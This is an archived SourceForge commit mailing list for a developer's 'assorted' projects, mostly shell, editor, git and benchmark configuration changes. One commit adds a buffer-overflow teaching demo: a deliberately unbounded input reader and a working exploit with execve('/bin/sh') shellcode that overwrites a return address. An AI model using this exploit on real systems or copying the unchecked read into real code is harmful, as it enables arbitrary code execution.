assorted-commits Mailing List for Assorted projects (Page 10)
Brought to you by:
yangzhang
You can subscribe to this list here.
2007 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
(9) |
Dec
(12) |
---|---|---|---|---|---|---|---|---|---|---|---|---|
2008 |
Jan
(86) |
Feb
(265) |
Mar
(96) |
Apr
(47) |
May
(136) |
Jun
(28) |
Jul
(57) |
Aug
(42) |
Sep
(20) |
Oct
(67) |
Nov
(37) |
Dec
(34) |
2009 |
Jan
(39) |
Feb
(85) |
Mar
(96) |
Apr
(24) |
May
(82) |
Jun
(13) |
Jul
(10) |
Aug
(8) |
Sep
(2) |
Oct
(20) |
Nov
(31) |
Dec
(17) |
2010 |
Jan
(16) |
Feb
(11) |
Mar
(17) |
Apr
(53) |
May
(31) |
Jun
(13) |
Jul
(3) |
Aug
(6) |
Sep
(11) |
Oct
(4) |
Nov
(17) |
Dec
(17) |
2011 |
Jan
(3) |
Feb
(19) |
Mar
(5) |
Apr
(17) |
May
(3) |
Jun
(4) |
Jul
(14) |
Aug
(3) |
Sep
(2) |
Oct
(1) |
Nov
(3) |
Dec
(2) |
2012 |
Jan
(3) |
Feb
(7) |
Mar
(1) |
Apr
|
May
(1) |
Jun
|
Jul
(4) |
Aug
(5) |
Sep
(2) |
Oct
(3) |
Nov
|
Dec
|
2013 |
Jan
|
Feb
|
Mar
(9) |
Apr
(5) |
May
|
Jun
(2) |
Jul
(1) |
Aug
(10) |
Sep
(1) |
Oct
(2) |
Nov
|
Dec
|
2014 |
Jan
(1) |
Feb
(3) |
Mar
(3) |
Apr
(1) |
May
(4) |
Jun
|
Jul
|
Aug
|
Sep
(2) |
Oct
|
Nov
|
Dec
|
2015 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
(1) |
Nov
|
Dec
|
2016 |
Jan
(1) |
Feb
|
Mar
(2) |
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
(1) |
Oct
|
Nov
|
Dec
|
2017 |
Jan
|
Feb
|
Mar
(1) |
Apr
|
May
(5) |
Jun
(1) |
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
(2) |
2018 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
(1) |
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
From: <yan...@us...> - 2010-06-04 02:16:39
|
Revision: 1677 http://assorted.svn.sourceforge.net/assorted/?rev=1677&view=rev Author: yangzhang Date: 2010-06-04 02:16:33 +0000 (Fri, 04 Jun 2010) Log Message: ----------- Added ruby gem paths Modified Paths: -------------- shell-tools/trunk/src/bash-commons/bashrc.bash Modified: shell-tools/trunk/src/bash-commons/bashrc.bash =================================================================== --- shell-tools/trunk/src/bash-commons/bashrc.bash 2010-06-04 02:15:59 UTC (rev 1676) +++ shell-tools/trunk/src/bash-commons/bashrc.bash 2010-06-04 02:16:33 UTC (rev 1677) @@ -84,22 +84,38 @@ if [[ "${subdir:0:1}" == / || "$subdir" == '' ]] ; then pieces=( "${pieces[@]}" "$subdir" ) else - pieces=( "${pieces[@]}" {"$GEM_PREFIX","$USER_PREFIX","$USER_TOAST_PREFIX","$USER_CABAL_PREFIX","$GLOBAL_PREFIX","$GLOBAL_TOAST_PREFIX"}/"$subdir" ) + pieces=( "${pieces[@]}" {"$USER_PREFIX","$USER_TOAST_PREFIX","$USER_CABAL_PREFIX","$USER_GEM_PREFIX","$GLOBAL_PREFIX","$GLOBAL_TOAST_PREFIX","$GLOBAL_GEM_PREFIX"}/"$subdir" ) fi done prepend_var "$var" "${pieces[@]}" } +# ruby version + +: ${RUBYVERSION:=} +reset_var RUBYVERSION +if [[ ! "$RUBYVERSION" ]] && type python >& /dev/null ; then + if type ruby >& /dev/null + then RUBYVERSION="$( ruby --version | perl -pe 's/ruby ([0-9\.]+).*/\1/g' )" + elif type ruby1.9.1 >& /dev/null + then RUBYVERSION=1.9.1 + elif type ruby1.9 >& /dev/null + then RUBYVERSION=1.9 + else RUBYVERSION=1.8 + fi +fi + # general -export GEM_PREFIX="$HOME/.gem/ruby/1.8" export USER_PREFIX="$HOME/.local/armed" export USER_PKG="$HOME/.local/pkg" export USER_TOAST_PREFIX="$HOME/.toast/armed" export USER_CABAL_PREFIX="$HOME/.cabal" +export USER_GEM_PREFIX="$HOME/.gem/ruby/$RUBYVERSION" export GLOBAL_PREFIX="/opt/armed" export GLOBAL_PKG="/opt" export GLOBAL_TOAST_PREFIX="/usr/local" +export GLOBAL_GEM_PREFIX="/var/lib/gems/$RUBYVERSION" # my own @@ -114,13 +130,13 @@ # TODO export PAGER=special less-like vim # TODO fix this to not use an explicit ruby version -prepend_std PATH bin sbin /sbin /usr/sbin /var/lib/gems/1.8/bin +prepend_std PATH bin sbin /sbin /usr/sbin # TODO fix this, things like /usr/local/ should get precedence over default # locations prepend_std MANPATH man '' prepend_std INFOPATH info # TODO fix this to not use an explicit ruby version -prepend_std RUBYLIB /var/lib/gems/1.8/lib +prepend_std RUBYLIB /var/lib/gems/$RUBYVERSION/lib # - LD_LIBRARY_PATH is for dynamic shared libs # - LIBRARY_PATH is for gcc (static linking) prepend_std LD_LIBRARY_PATH lib /usr/local/lib This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-06-04 02:16:06
|
Revision: 1676 http://assorted.svn.sourceforge.net/assorted/?rev=1676&view=rev Author: yangzhang Date: 2010-06-04 02:15:59 +0000 (Fri, 04 Jun 2010) Log Message: ----------- in-place Modified Paths: -------------- shell-tools/trunk/src/bash-commons/common.bash Modified: shell-tools/trunk/src/bash-commons/common.bash =================================================================== --- shell-tools/trunk/src/bash-commons/common.bash 2010-06-03 19:28:52 UTC (rev 1675) +++ shell-tools/trunk/src/bash-commons/common.bash 2010-06-04 02:15:59 UTC (rev 1676) @@ -634,6 +634,13 @@ done } +# Edit files in-place. +in-place() { + local file="$1" + shift + "$@" < "$file" > "$file.tmp" && mv "$file.tmp" "$file" +} + #if ! is_declared indent ; then # noindent #else This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-06-03 19:28:58
|
Revision: 1675 http://assorted.svn.sourceforge.net/assorted/?rev=1675&view=rev Author: yangzhang Date: 2010-06-03 19:28:52 +0000 (Thu, 03 Jun 2010) Log Message: ----------- Install .hgrc via setup-yang.bash Modified Paths: -------------- configs/trunk/setup-yang.bash Modified: configs/trunk/setup-yang.bash =================================================================== --- configs/trunk/setup-yang.bash 2010-06-03 19:28:36 UTC (rev 1674) +++ configs/trunk/setup-yang.bash 2010-06-03 19:28:52 UTC (rev 1675) @@ -20,6 +20,7 @@ install .gdbinit gdbinit install .gitconfig gitconfig install .gitignore gitignore +install .hgrc hgrc install .inputrc inputrc install .owl owl install .pythonrc.py pythonrc.py This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-06-03 19:28:47
|
Revision: 1674 http://assorted.svn.sourceforge.net/assorted/?rev=1674&view=rev Author: yangzhang Date: 2010-06-03 19:28:36 +0000 (Thu, 03 Jun 2010) Log Message: ----------- Imported findfile.vim Added Paths: ----------- configs/trunk/src/vim/plugin/FindFile.vim Added: configs/trunk/src/vim/plugin/FindFile.vim =================================================================== --- configs/trunk/src/vim/plugin/FindFile.vim (rev 0) +++ configs/trunk/src/vim/plugin/FindFile.vim 2010-06-03 19:28:36 UTC (rev 1674) @@ -0,0 +1,219 @@ +" vim600: set foldmethod=marker: +" $Id:$ +" PURPOSE: {{{ +" - FindFile: Switch to an auto-completing buffer to open a file quickly. +" +" REQUIREMENTS: +" - Vim 7.0 +" +" USAGE: +" Put this file in your ~/.vim/plugin directory. +" If you are working on a project, go to the root directory of the project, +" then execute: +" +" :FindFileCache .<CR> +" or +" :FC .<CR> +" +" This will recursively parse the directory and create the internal cache. +" +" You can also put in multiple arguments in :FC: +" +" :FC /dir1 /dir2 /dir3 +" +" You can add to the cache by calling :FC again. File with the same path +" will not be added to the cache twice. +" +" To find a file: +" +" :FindFile<CR> +" or +" :FF<CR> +" +" This opens a scratch buffer that you can type in the file name. Press +" <Esc> will quit the buffer, while <Enter> will select and edit the file. +" +" To clear the internal cache, do: +" +" :FindFileCacheClear<CR> +" or +" :FCC<CR> +" +" +" You can put the following lines in your ~/.vimrc in order to invoke +" FindFile quickly by hitting <C-f>: +" +" :nmap <C-f> :FindFile<CR> +" +" By default, all the *.o, *.pyc, and */tmp/* files will be ignored, in +" addition to the wildignore patterns. You can customize this by setting in +" your .vimrc: +" +" let g:FindFileIgnore = ['*.o', '*.pyc', '*/tmp/*'] +" +" CREDITS: +" Please mail any comment/suggestion/patch to +" William Lee <wl...@ya...> +" +" Section: Mappings {{{1 +command! -nargs=* -complete=dir FindFileCache call <SID>CacheDir(<f-args>) +command! -nargs=* -complete=dir FC call <SID>CacheDir(<f-args>) + +command! FindFileCacheClear call <SID>CacheClear() +command! FCC call <SID>CacheClear() + +command! FindFile call <SID>FindFile() +command! FF call <SID>FindFile() + +command! FindFileSplit call <SID>FindFileSplit() +command! FS call <SID>FindFileSplit() + +" Global Settings {{{1 +if !exists("g:FindFileIgnore") + let g:FindFileIgnore = ['*.o', '*.pyc', '*/tmp/*'] +endif + +" Section: Functions {{{1 +" File cache to store the filename +let s:fileCache = {} +" The sorted keys for the dictionary +let s:fileKeys = [] + +fun! CompleteFile(findstart, base) + if a:findstart + return 0 + else + " TODO: We can definitely do a binary search on the keys instead of + " doing a linear match. + for k in s:fileKeys + let matchExpr = <SID>EscapeChars(a:base) + if match(k, matchExpr) == 0 + call complete_add({'word': k, 'menu': s:fileCache[k], 'icase' : 1}) + endif + if complete_check() + break + endif + endfor + return [] + endif +endfun + +fun! <SID>MayComplete(c) + if pumvisible() + return a:c + else + return "" . a:c . "\<C-X>\<C-O>" + endif +endfun + +fun! <SID>FindFileSplit() + split + call <SID>FindFile() +endfun + +fun! <SID>FindFile() + new FindFile + setlocal buftype=nofile + setlocal bufhidden=hide + setlocal noswapfile + " Map the keys for completion: + " We are remapping keys from ascii 33 (!) to 126 (~) + let k = 33 + while (k < 127) + let c = escape(nr2char(k), "\\'|") + let remapCmd = "inoremap <expr> <buffer> " . c . " <SID>MayComplete('" . c . "')" + exe remapCmd + let k = k + 1 + endwhile + + inoremap <buffer> <CR> <ESC>:silent call <SID>EditFile(getline("."))<CR> + inoremap <buffer> <ESC> <C-[>:silent call <SID>QuitBuff()<CR> + nnoremap <buffer> <ESC> :silent call <SID>QuitBuff()<CR> + setlocal completeopt=menuone,longest,preview + setlocal omnifunc=CompleteFile + setlocal noignorecase + startinsert +endfun + +fun! <SID>CacheClear() + let s:fileCache = {} + let s:fileKeys = [] + echo "FindFile cache cleared." +endfun + +fun! <SID>EscapeChars(toEscape) + return escape(a:toEscape, ". \!\@\#\$\%\^\&\*\(\)\-\=\\\|\~\`\'") +endfun + +fun! <SID>CacheDir(...) + echo "Finding files to cache..." + for d in a:000 + "Creates the dictionary that will parse all files recursively + for i in g:FindFileIgnore + let s = "setlocal wildignore+=" . i + exe s + endfor + let files = glob(d . "/**") + for i in g:FindFileIgnore + let s = "setlocal wildignore-=" . i + exe s + endfor + let ctr = 0 + for f in split(files, "\n") + let fname = fnamemodify(f, ":t") + let fpath = fnamemodify(f, ":p") + " We only glob the files, not directory + if !isdirectory(fpath) + " If the cache already has this entry, we'll just skip it + let hasEntry = 0 + while has_key(s:fileCache, fname) + if s:fileCache[fname] == fpath + let hasEntry = 1 + break + endif + let fnameArr = split(fname, ":") + if len(fnameArr) > 1 + let fname = fnameArr[0] . ":" . (fnameArr[1] + 1) + else + let fname = fname . ":1" + endif + endwhile + if !hasEntry + let s:fileCache[fname] = fpath + let ctr = ctr + 1 + endif + endif + endfor + let s:fileKeys = sort(copy(keys(s:fileCache))) + echo "Found " . ctr . " new files in '" . d . "'. Cache has " . len(s:fileKeys) . " entries." + endfor +endfun + +fun! <SID>QuitBuff() + silent exe "bd!" +endfun + +fun! <SID>EditFile(f) + " Closes the buffer + let fileToOpen = a:f + if has_key(s:fileCache, a:f) + let fileToOpen = s:fileCache[a:f] + else + " We attempt to find the file in the list if it is not a + " complete key + let matchExpr = <SID>EscapeChars(a:f) + for k in s:fileKeys + if match(k, matchExpr) == 0 + let fileToOpen = s:fileCache[k] + break + endif + endfor + endif + if filereadable(fileToOpen) + silent exe "bd!" + silent exe "edit " . fileToOpen + echo "File: " . fileToOpen + else + echo "File " . fileToOpen . " not found. Run ':FileFindCache .' to refresh if necessary." + endif +endfun This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-06-03 19:27:02
|
Revision: 1673 http://assorted.svn.sourceforge.net/assorted/?rev=1673&view=rev Author: yangzhang Date: 2010-06-03 19:26:56 +0000 (Thu, 03 Jun 2010) Log Message: ----------- Less-verbose modes in modeline Modified Paths: -------------- configs/trunk/src/emacs/yang.el Modified: configs/trunk/src/emacs/yang.el =================================================================== --- configs/trunk/src/emacs/yang.el 2010-06-03 19:26:38 UTC (rev 1672) +++ configs/trunk/src/emacs/yang.el 2010-06-03 19:26:56 UTC (rev 1673) @@ -59,6 +59,20 @@ "Minor mode for automatically wrapping long lines." t) (setq longlines-show-hard-newlines t)) +;; TODO iron this out +;; less-verbose major/minor mode descriptions in modeline +(when (require 'diminish nil 'noerror) + (eval-after-load "company" + '(diminish 'company-mode "Cmp")) + (eval-after-load "abbrev" + '(diminish 'abbrev-mode "Ab")) + (eval-after-load "yasnippet" + '(diminish 'yas/minor-mode "Y"))) +;; e.g., for emacs lisp mode: +(add-hook 'emacs-lisp-mode-hook + (lambda() + (setq mode-name "el"))) + ;; set the base directory from which to load stuff (setq base-dir (file-name-directory load-file-name)) (defun add-load-path (path) This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-06-03 19:26:44
|
Revision: 1672 http://assorted.svn.sourceforge.net/assorted/?rev=1672&view=rev Author: yangzhang Date: 2010-06-03 19:26:38 +0000 (Thu, 03 Jun 2010) Log Message: ----------- Added haml tests Added Paths: ----------- sandbox/trunk/src/misc/haml/ sandbox/trunk/src/misc/haml/Makefile sandbox/trunk/src/misc/haml/style.sass sandbox/trunk/src/misc/haml/test.haml Added: sandbox/trunk/src/misc/haml/Makefile =================================================================== --- sandbox/trunk/src/misc/haml/Makefile (rev 0) +++ sandbox/trunk/src/misc/haml/Makefile 2010-06-03 19:26:38 UTC (rev 1672) @@ -0,0 +1,5 @@ +all: test.html style.css +%.html: %.haml + haml $< > $@ +%.css: %.sass + sass $< > $@ Added: sandbox/trunk/src/misc/haml/style.sass =================================================================== --- sandbox/trunk/src/misc/haml/style.sass (rev 0) +++ sandbox/trunk/src/misc/haml/style.sass 2010-06-03 19:26:38 UTC (rev 1672) @@ -0,0 +1,115 @@ +body + font: 10pt arial +.table + border: 1px solid + display: table + height: 100px + .cell + border: 1px solid + display: table-cell + vertical-align: bottom + .content + border: 1px solid + width: 100px +.wrapper + border: 1px solid + vertical-align: bottom + height: 100px + div + vertical-align: bottom + .opener + height: 100% + display: inline-block + width: 0 + .inlineblock + height: 50px + border: 1px solid + display: inline-block + vertical-align: bottom + p + vertical-align: bottom + span + vertical-align: bottom + ul + vertical-align: bottom +.page + width: 760px + .header + .top + height: 50px + width: 100% + background: #9c9 + border-bottom: 2px solid silver + border-bottom: 2px solid black + display: table + .title + display: table-cell + text-align: right + vertical-align: bottom + font-size: 18pt + font-weight: normal + font-family: arial + text-transform: uppercase + margin-top: 1.2em + margin-bottom: 0.5em + line-height: 1.3 + text-decoration: none + color: gray + color: black + letter-spacing: -2px + .topmenu + background: #c9c + display: table-cell + width: 200px + vertical-align: bottom + .button + font-family: arial + letter-spacing: -1px + text-align: center + font-size: 16pt + text-transform: uppercase + width: 100px + background: red + vertical-align: bottom + display: table-cell + .contact + background: silver + text-align: right + .header-old + .top + height: 100px + background: #9c9 + .line + clear: both + border-bottom: 2px solid silver + border-bottom: 2px solid black + .title + float: right + text-align: right + vertical-align: bottom + font-size: 18pt + font-weight: normal + font-family: arial + text-transform: uppercase + margin-top: 1.2em + margin-bottom: 0.5em + line-height: 1.3 + text-decoration: none + color: gray + color: black + letter-spacing: -2px + .topmenu + background: #c9c + height: 100% + float: left + height: 100% + .button + width: 100px + float: left + height: 100% + vertical-align: bottom + span + vertical-align: bottom + .footer + background: #cc9 + clear: both Added: sandbox/trunk/src/misc/haml/test.haml =================================================================== --- sandbox/trunk/src/misc/haml/test.haml (rev 0) +++ sandbox/trunk/src/misc/haml/test.haml 2010-06-03 19:26:38 UTC (rev 1672) @@ -0,0 +1,53 @@ +%html + %head + %title Yang Zhang + %link(rel="stylesheet" href="style.css" type="text/css" media="all") + %body + .table + .cell + .content I'm a bottom-aligned div! + .cell + .content I'm a bottom-aligned div! + / inline-block vertical-align doesn't work + .wrapper + .opener + .inlineblock + %span aoeu + .inlineblock + %p aoeu + .inlineblock + %ul + %li a + %li b + .page + .header + .top + .topmenu + .button Feeds + .button About + .title Yang Zhang + .contact + %a(href="mailto:bl...@gm...")bl...@gm... + .content + .sidebar + .feedmenu + .feed All (Buzz) + .feed Blog + .feed Google Reader + .feed Twitter + .feed Delicious + .feed Notes + .feed GitHub + .feed SourceForge + .linkgroup + .title Profile Links + .link Google + .link Facebook + .link LinkedIn + .main + .hovermenu + .button Titles and full content + .button Titles and snippets + .button Titles only + .footer + Copyright This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-06-03 19:21:11
|
Revision: 1671 http://assorted.svn.sourceforge.net/assorted/?rev=1671&view=rev Author: yangzhang Date: 2010-06-03 19:21:05 +0000 (Thu, 03 Jun 2010) Log Message: ----------- Updated .gitconfig Modified Paths: -------------- configs/trunk/src/gitconfig Modified: configs/trunk/src/gitconfig =================================================================== --- configs/trunk/src/gitconfig 2010-05-28 07:13:11 UTC (rev 1670) +++ configs/trunk/src/gitconfig 2010-06-03 19:21:05 UTC (rev 1671) @@ -12,6 +12,8 @@ sta = stash up = pull k = log --decorate --oneline --graph + # colorful 1-line log summary + slog = log --pretty=format:'%Creset%C(red bold)[%ad] %C(blue bold)%h %Creset%C(magenta bold)%d %Creset%s %C(green bold)(%an)%Creset' --abbrev-commit --date=short [core] excludesfile = /home/yang/.gitignore [user] This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-28 07:13:17
|
Revision: 1670 http://assorted.svn.sourceforge.net/assorted/?rev=1670&view=rev Author: yangzhang Date: 2010-05-28 07:13:11 +0000 (Fri, 28 May 2010) Log Message: ----------- added buffer overflow demo Added Paths: ----------- sandbox/trunk/src/c/overflow/ sandbox/trunk/src/c/overflow/README sandbox/trunk/src/c/overflow/buffer.c sandbox/trunk/src/c/overflow/hack.c Added: sandbox/trunk/src/c/overflow/README =================================================================== --- sandbox/trunk/src/c/overflow/README (rev 0) +++ sandbox/trunk/src/c/overflow/README 2010-05-28 07:13:11 UTC (rev 1670) @@ -0,0 +1 @@ +http://evanjones.ca/buffer-overflow-101.html Added: sandbox/trunk/src/c/overflow/buffer.c =================================================================== --- sandbox/trunk/src/c/overflow/buffer.c (rev 0) +++ sandbox/trunk/src/c/overflow/buffer.c 2010-05-28 07:13:11 UTC (rev 1670) @@ -0,0 +1,34 @@ +#include <stdio.h> +#include <unistd.h> + +// Used instead of gets to avoid issues with pipes and buffering, etc +void myGets(char* buffer) { + int offset = -1; + ssize_t bytes = 0; + do { + offset += 1; + bytes = read(0, &buffer[offset], 1); + } while (bytes != 0 && buffer[offset] != '\n'); + buffer[offset] = '\0'; +} + + +int echoLine(int some_argument) { + char buffer[80]; + printf("some_argument = %d & = %p; buffer = %p diff = %d\n", + some_argument, &some_argument, buffer, (int)((char*) &some_argument - buffer)); + // DANGER! + //gets(buffer); + myGets(buffer); + + printf("line = %s\n", buffer); + return 99; +} + + +int main() { + printf("start\n"); + int value = echoLine(72); + printf("value = %d\n", value); + return 0; +} Added: sandbox/trunk/src/c/overflow/hack.c =================================================================== --- sandbox/trunk/src/c/overflow/hack.c (rev 0) +++ sandbox/trunk/src/c/overflow/hack.c 2010-05-28 07:13:11 UTC (rev 1670) @@ -0,0 +1,100 @@ +#include <assert.h> +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> + +#ifndef __x86_64 +asm(".globl shellcode"); +asm("shellcode:"); + // Push "/bin/sh\0" onto the stack +asm(" pushl $0x0068732f"); // "/sh\0" +asm(" pushl $0x6e69622f"); // "/bin" + +asm(" movl %esp, %ebx"); // %ebx <- <pointer to /bin/sh> + +asm(" xorl %ecx, %ecx"); // %ecx <- 0 +asm(" pushl %ecx"); +asm(" pushl %ebx"); +asm(" movl %esp, %ecx"); // %ecx <- <pointer to argv> + +asm(" xorl %edx, %edx"); // %edx <- NULL <envp> +asm(" movl $0x0b, %eax"); // %eax <- 0x0b (__NR_execve) + +asm(" int $0x80"); // Do the syscall + +asm(".globl shellcode_end"); +asm("shellcode_end:"); +asm(" nop"); +#else +asm(".globl shellcode"); +asm("shellcode:"); +//~ asm(" pushq $0x0068732f6e69622f"); // Push "/bin/sh\0" onto the stack +asm(" movq $0x0068732f6e69622f, %rdi"); // Push "/bin/sh\0" onto the stack +asm(" pushq %rdi"); + +asm(" movq %rsp, %rdi"); // %rdi <- <pointer to /bin/sh> + +asm(" xorq %rdx, %rdx"); // %rdx <- 0 <envp> +asm(" pushq %rdx"); +asm(" pushq %rdi"); +asm(" movq %rsp, %rsi"); // %rsi <- <pointer to argv>: ["/bin/sh", NULL] + +asm(" movq $0x3b, %rax"); // %rax <- 0x3b (__NR_execve) + +asm(" syscall"); // Do the syscall + +asm(".globl shellcode_end"); +asm("shellcode_end:"); +asm(" nop"); +#endif + +extern void shellcode(); +extern void shellcode_end(); + +int main(int argc, const char* argv[]) { + if (argc != 3) { + fprintf(stderr, "hack <&buffer in hex> <diff in decimal>\n"); + return 1; + } + + uintptr_t offset = (uintptr_t) strtoll(argv[1], NULL, 16); + int diff = strtoll(argv[2], NULL, 10); + fprintf(stderr, "offset = %p diff = %d\n", (void*) offset, diff); + +#ifdef __x86_64 + // On X86-64, the diff is not useful (it probably is negative!) + // Instead, we hard code the offset, which may vary from system to system + diff = 96; +#endif + + // Write out the shellcode, filler, the address, then \n + int shellcode_length = &shellcode_end - &shellcode; + ssize_t v = write(1, &shellcode, shellcode_length); + assert(v == shellcode_length); + // Fill the rest of the buffer and the frame pointer with NULL + int i = 0; + for (i = shellcode_length; i < diff - (int) sizeof(uintptr_t); ++i) { + v = write(1, "", 1); + assert(v == 1); + } + // replace the return address with the buffer address + v = write(1, &offset, sizeof(offset)); + assert(v == sizeof(offset)); + // write a "\n" + v = write(1, "\n", 1); + assert(v == 1); + + // Connect stdin to stdout + char buffer[100]; + while (1) { + ssize_t bytes = read(0, buffer, sizeof(buffer)); + if (bytes == 0) { + break; + } + ssize_t check = write(1, buffer, bytes); + assert(check == bytes); + } + + return 0; +} This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-26 20:43:12
|
Revision: 1669 http://assorted.svn.sourceforge.net/assorted/?rev=1669&view=rev Author: yangzhang Date: 2010-05-26 20:43:06 +0000 (Wed, 26 May 2010) Log Message: ----------- Added ludibrio mock test demo Added Paths: ----------- sandbox/trunk/src/py/mocks.py Added: sandbox/trunk/src/py/mocks.py =================================================================== --- sandbox/trunk/src/py/mocks.py (rev 0) +++ sandbox/trunk/src/py/mocks.py 2010-05-26 20:43:06 UTC (rev 1669) @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +from ludibrio import * + +with Mock() as greetings: + greetings.hello('one') >> 'two' + greetings.hello('two') >> 'two' + +def test_greetings(): + print greetings.hello('one') + print greetings.hello('one') Property changes on: sandbox/trunk/src/py/mocks.py ___________________________________________________________________ Added: svn:executable + * This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-17 07:59:56
|
Revision: 1668 http://assorted.svn.sourceforge.net/assorted/?rev=1668&view=rev Author: yangzhang Date: 2010-05-17 07:59:50 +0000 (Mon, 17 May 2010) Log Message: ----------- remove .project.vim from .gitignore Modified Paths: -------------- configs/trunk/src/gitignore Modified: configs/trunk/src/gitignore =================================================================== --- configs/trunk/src/gitignore 2010-05-16 22:14:07 UTC (rev 1667) +++ configs/trunk/src/gitignore 2010-05-17 07:59:50 UTC (rev 1668) @@ -18,4 +18,3 @@ *~ .#* .DS_Store -.project.vim This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-16 22:14:13
|
Revision: 1667 http://assorted.svn.sourceforge.net/assorted/?rev=1667&view=rev Author: yangzhang Date: 2010-05-16 22:14:07 +0000 (Sun, 16 May 2010) Log Message: ----------- slight cleanup Modified Paths: -------------- sandbox/trunk/src/c/process_switch_bench.c Modified: sandbox/trunk/src/c/process_switch_bench.c =================================================================== --- sandbox/trunk/src/c/process_switch_bench.c 2010-05-16 22:08:32 UTC (rev 1666) +++ sandbox/trunk/src/c/process_switch_bench.c 2010-05-16 22:14:07 UTC (rev 1667) @@ -89,6 +89,8 @@ COUNTER = (uint32_t)(((uint64_t)COUNTER * 2 * 1000) / time); printf("Number of process switches in about one second was %u\n", COUNTER); printf("roughly %f microseconds per switch\n", 1000000.0 / COUNTER); + + // clean up kill(pid, 9); wait(0); sem_close(s0); @@ -98,7 +100,7 @@ sem_unlink("/s2"); } else { if (1) { sem_t *t = s0; s0 = s1; s1 = t; } - threads((void*)1); + threads(0); // never return } return 0; } This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site. |
From: <yan...@us...> - 2010-05-16 22:08:40
|
Revision: 1666 http://assorted.svn.sourceforge.net/assorted/?rev=1666&view=rev Author: yangzhang Date: 2010-05-16 22:08:32 +0000 (Sun, 16 May 2010) Log Message: ----------- moved process/thread-switching microbenchmarks to C dir Added Paths: ----------- sandbox/trunk/src/c/process_switch_bench.c sandbox/trunk/src/c/thread_switch_bench.c Removed Paths: ------------- sandbox/trunk/src/cc/process_switch_bench.cc sandbox/trunk/src/cc/thread_switch_bench.cc Copied: sandbox/trunk/src/c/process_switch_bench.c (from rev 1665, sandbox/trunk/src/cc/process_switch_bench.cc) =================================================================== --- sandbox/trunk/src/c/process_switch_bench.c (rev 0) +++ sandbox/trunk/src/c/process_switch_bench.c 2010-05-16 22:08:32 UTC (rev 1666) @@ -0,0 +1,104 @@ +// on zs, ~2.1-2.4us/switch + +#include <stdlib.h> +#include <fcntl.h> +#include <stdint.h> +#include <stdio.h> +#include <semaphore.h> +#include <unistd.h> +#include <sys/wait.h> +#include <sys/types.h> +#include <sys/time.h> +#include <pthread.h> + +uint32_t COUNTER; +pthread_mutex_t LOCK; +pthread_mutex_t START; +sem_t *s0, *s1, *s2; + +void * threads ( + void * unused +) { + // Wait till we may fire away + sem_wait(s2); + + for (;;) { + pthread_mutex_lock(&LOCK); + pthread_mutex_unlock(&LOCK); + COUNTER++; + sem_post(s0); + sem_wait(s1); + } + return 0; +} + +int64_t timeInMS () +{ + struct timeval t; + + gettimeofday(&t, NULL); + return ( + (int64_t)t.tv_sec * 1000 + + (int64_t)t.tv_usec / 1000 + ); +} + +int main ( + int argc, + char ** argv +) { + int64_t start; + pthread_t t1; + + pthread_mutex_init(&LOCK, NULL); + + COUNTER = 0; + s0 = sem_open("/s0", O_CREAT, 0022, 0); + if (s0 == 0) { perror("sem_open"); exit(1); } + s1 = sem_open("/s1", O_CREAT, 0022, 0); + if (s1 == 0) { perror("sem_open"); exit(1); } + s2 = sem_open("/s2", O_CREAT, 0022, 0); + if (s2 == 0) { perror("sem_open"); exit(1); } + + int x, y, z; + sem_getvalue(s0, &x); + sem_getvalue(s1, &y); + sem_getvalue(s2, &z); + printf("%d %d %d\n", x, y, z); + + pid_t pid = fork(); + if (pid) { + pthread_create(&t1, NULL, threads, NULL); + pthread_detach(t1); + // Get start time and fire away + start = timeInMS(); + sem_post(s2); + sem_post(s2); + + // Wait for about a second + sleep(1); + // Stop thread + pthread_mutex_lock(&LOCK); + + // Find out how much time has really passed. sleep won't guarantee me that + // I sleep exactly one second, I might sleep longer since even after being + // woken up, it can take some time before I gain back CPU time. Further + // some more time might have passed before I obtained the lock! + int64_t time = timeInMS() - start; + // Correct the number of thread switches accordingly + COUNTER = (uint32_t)(((uint64_t)COUNTER * 2 * 1000) / time); + printf("Number of process switches in about one second was %u\n", COUNTER); + printf("roughly %f microseconds per switch\n", 1000000.0 / COUNTER); + kill(pid, 9); + wait(0); + sem_close(s0); + sem_close(s1); + sem_unlink("/s0"); + sem_unlink("/s1"); + sem_unlink("/s2"); + } else { + if (1) { sem_t *t = s0; s0 = s1; s1 = t; } + threads((void*)1); + } + return 0; +} Copied: sandbox/trunk/src/c/thread_switch_bench.c (from rev 1665, sandbox/trunk/src/cc/thread_switch_bench.cc) =================================================================== --- sandbox/trunk/src/c/thread_switch_bench.c (rev 0) +++ sandbox/trunk/src/c/thread_switch_bench.c 2010-05-16 22:08:32 UTC (rev 1666) @@ -0,0 +1,91 @@ +// From <http://stackoverflow.com/questions/304752/how-to-estimate-the-thread-context-switching-overhead> + +// on zs, ~4-5us/switch; tried making COUNTER updated only by one thread, but no difference + +#include <stdlib.h> +#include <stdint.h> +#include <stdio.h> +#include <pthread.h> +#include <unistd.h> +#include <sys/time.h> + +uint32_t COUNTER; +pthread_mutex_t LOCK; +pthread_mutex_t START; +pthread_cond_t CONDITION; + +void * threads ( + void * unused +) { + // Wait 